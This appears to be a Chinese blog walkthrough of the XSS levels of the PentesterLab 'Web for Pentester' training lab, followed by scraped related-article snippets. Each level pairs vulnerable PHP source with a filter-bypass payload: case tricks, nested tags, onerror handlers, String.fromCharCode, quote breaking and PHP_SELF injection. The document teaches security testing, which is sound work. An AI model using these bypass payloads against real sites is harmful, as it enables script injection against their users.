配置

官网:https://pentesterlab.com/

下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso

安装方法:虚拟机按照,该靶场是封装在debian系统里,安装完成打开,ifconfig查看ip地址:





然后直接访问ip即可

web for pentester默认没有root密码,可以来设置密码,方便ssh连接等查看源码

sudo passwd

第一关

查看源码:

<?php
echo $_GET["name"];
?>

分析:

没有任何的过滤,直接将get获取的打印

payload:

/xss/example1.php?name=

第二关

查看源码:

<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

分析:

这里通过preg_replace()函数来正则,但是这种匹配是有缺陷的,没有匹配大小写,可以通过大小写绕过

payload:

/xss/example2.php?name=<Script>alert('xss')</Script>

第三关

查看源码:

<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

分析:

在第二关的基础上加了/i,使之匹配不区分大小写,preg_replace()函数将匹配到的,替换成空格,但是只匹配了一次,类似sql注入(Seselectlect),可以嵌套<script>,匹配到了,替换成空格变成我们想要的了

payload:

/xss/example3.php?name=<sc<script>ript>alert('xss')</sc</script>ript>

第四关

查看源码:

<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>

分析:

对script进行了不区分大小写,匹配如果匹配到,就执行die("error"),终止程序,所以scirpt不能用,只能通过其他标签来触发js事件,可使用onerror事件,来执行js



payload:

/xss/example4.php?name=<img src="xss" onerror=alert('xss')>

第五关

查看源码:

<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>

分析:

对alert进行了过滤

一.可以使用类似alert的方法来弹窗比如confirm,prompt



二.通过编码绕过,String.fromCharCode()编码来绕过,可以使用hackbar来快速编码







payload:

/xss/example5.php?name=<script>confirm('xss')</script>
/xss/example5.php?name=<script>prompt('xss')</script>
/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>





第六关

查看源码:

<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>

分析:

通过get的方式传入name变量,输入赋值给全局变量a,可以通过闭合双引号或者注释双引号来增加我们的js代码

payload:

/xss/example6.php?name=";alert('xss');"
/xss/example6.php?name=";alert('xss');//







第七关

查看源码:

<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>

分析:

和第八关相似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好所以可以继续包含和注释

payload:

/xss/example7.php?name=';alert('xss');'
/xss/example7.php?name=';alert('xss');//







第八关

查看源码:

<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

分析:

name变量通过form表单以post方式传入,然后通过htmlentities函数实体化后输出来,并未找到破解的方法。然后观察" method="POST">,用户可控制参数PHP_SELF,并且没有闭合引号和标签

payload:

/xss/example8.php/"><script>alert('XSS')</script>//
/xss/example8.php/" onclick=alert('XSS')//





第九关

查看源码:

<script>
document.write(location.hash.substring(1));
</script>

分析:

location.hash属性

payload:

/xss/example9.php#<script>alert('XSS')</script>

注意:在火狐和Chrome浏览器<>会被自动转码

参考文章

https://www.sqlsec.com/2020/05/pentesterlab.html

https://blog.csdn.net/qq_20307987/article/details/51284169

欢迎访问我的个人博客:https://lmg66.github.io/

Web For Pentester靶场(xss部分)的更多相关文章

  1. 【渗透测试学习平台】 web for pentester -3.XSS

    Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...

  2. web渗透漏洞靶场收集

    最近将自己遇到过或者知道的web靶场链接奉上 0X01 DVWA 推荐新手首选靶场,配置简单,需下载phpstudy和靶场文件包,简单部署之后即可访问. 包含了常见的web漏洞(php的),每个漏洞分 ...

  3. 网络安全知识--PHP代码审计/Web For Pantesters 的 XSS

    用到 ** WEB FOR Pentester** 注意区分单引号双引号. 常见代码 审计工具 wamp,dwva,zvuldrill,burpsuite,seay源代码审计系统... 1 xss W ...

  4. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  5. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  6. [深入学习Web安全](11)之XSS玩法

    [深入学习Web安全](11)之XSS玩法 本文转自:i春秋社区 前言这篇paper,我们将学习如何优雅的调戏XSS.我们会教大家一些不常用的,但很实用的XSS姿势.我们在正式进入主题之前,先来说一下 ...

  7. web攻击之一:XSS跨站脚本

    一.浏览器安全 同源策略 影响源的因素:host,子域名,端口,协议 a.com通过以下代码: <script scr=http://b.com/b.js> 加载了b.com上的b.js, ...

  8. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击

    本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...

  9. Web for pentester_writeup之XSS篇

    Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...

随机推荐

  1. git安装和第一次提交过程

    1,新建文件夹test,运行命令 git init 2,找到test的.git文件夹,打开之后找到config文件,在最后边加上一句话 [user] email=your email name=you ...

  2. skynet 初步分析

    自己想实现一个tcp 粘包,残包的功能.  先看看一些开源的库是怎么实现的. 首先开启一个线程.使劲的执行: skynet_socket_poll skynet_socket_poll  这个玩意是干 ...

  3. 1.二进制部署kubernetes

    目录 kubernetes的五个组件 master节点的三个组件 kube-apiserver kube-controller-manager kube-scheduler node节点的两个组件 k ...

  4. 【django】CMS开发笔记一:虚拟环境配置

    项目代码:https://github.com/pusidun/CMS-django 使用虚拟环境 虚拟环境是Python解释器的虚拟副本.在虚拟环境中安装私有包,不会影响全局的Python解释器.可 ...

  5. leetcode27之移除元素

    题目描述: 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度. 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改 ...

  6. 【K8s学习笔记】K8s是如何部署应用的?

    本文内容 本文致力于介绍K8s一些基础概念与串联部署应用的主体流程,使用Minikube实操 基础架构概念回顾 温故而知新,上一节[K8S学习笔记]初识K8S 及架构组件 我们学习了K8s的发展历史. ...

  7. redis基础二----操作List类型

    1.lpush的使用方法 2.rpsuh的使用方法 3.删除元素 lrem中2值的是删除2个集合中的“b”元素 4. 通过上面的分析,redis中的list比较类型java的qunue队列

  8. ceph集成openstack cinder

    本环境ceph已经搭建,ceph搭建麻烦见本博客的其他文章 1 在cinder-volume节点安装ceph client yum install -y ceph-common 注意:glance要安 ...

  9. Python实用笔记 (25)面向对象高级编程——多重继承

    class Dog(Mammal, Runnable): pass 多重继承,继承了不同大类的所有功能,这种设计称之为Mixln,其目的就是给一个类增加多个功能,这样,在设计类的时候,我们优先考虑通过 ...

  10. Visual C++线程同步技术剖析:临界区,时间,信号量,互斥量

    使线程同步 在程序中使用多线程时,一般很少有多个线程能在其生命期内进行完全独立的操作.更多的情况是一些线程进行某些处理操作,而其他的线程必须对其处理结果进行了解.正常情况下对这种处理结果的了解应当在其 ...